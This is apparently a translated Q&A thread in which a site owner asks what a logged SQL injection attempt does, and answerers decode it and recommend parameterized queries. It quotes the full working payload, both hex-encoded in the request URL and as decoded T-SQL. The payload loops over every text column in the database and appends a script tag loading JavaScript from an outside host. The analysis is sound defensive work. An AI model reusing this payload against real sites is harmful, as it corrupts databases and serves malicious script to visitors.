尝试SQL注入攻击 - 他们试图做什么?

时间:2008-10-14 09:44:09

标签: sql-server sql-injection

我有一个面向公众的网站,过去几周一直在接受大量的SQL注入攻击。我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:

为了清晰起见,

添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

任何人都可以了解“CAST和EXEC”试图做什么吗?

6 个答案:

答案 0 :(得分:30)

下面是他们试图推送的解码SQL:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

答案 1 :(得分:11)

代码,当从十六进制解除为chars时,似乎遍历所有数据库表,选择text / char类型的所有列,并在此类型的每个值的末尾添加来自{的恶意脚本执行{1}}。现在,如果您的网站中至少有一个地方没有从数据库中检索到的文本数据,那么您网站的用户将在其计算机上执行此恶意脚本。

答案 2 :(得分:7)

运行此命令,例如在mysql:

select CAST(0x44...72 AS CHAR(4000)) as a;

你会知道的。 Ishmaeel粘贴了代码。

这是一个SQLserver蠕虫,而不是目标atatck。

答案 3 :(得分:5)

我认为我们以前曾遭受过这次袭击。它试图在数据库中的每个表的每个字段中插入<script>标记。

答案 4 :(得分:3)

这是一个广告软件删除程序脚本,旨在使用显示在您网页上的<script>标记阻塞您的数据库。它是编码的,因为如果你试图通过URL推送垃圾,大多数服务器都会爆炸。

这样的大多数事情都是随机尝试攻击,因为它们会用查询字符串击中任何东西,但它可能是一种有针对性的攻击。测试您的站点以确保它不会让查询字符串中的任何SQL执行。只需使用参数化查询就应覆盖您。

答案 5 :(得分:1)

解密十六进制代码的最简单的Python算法是:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())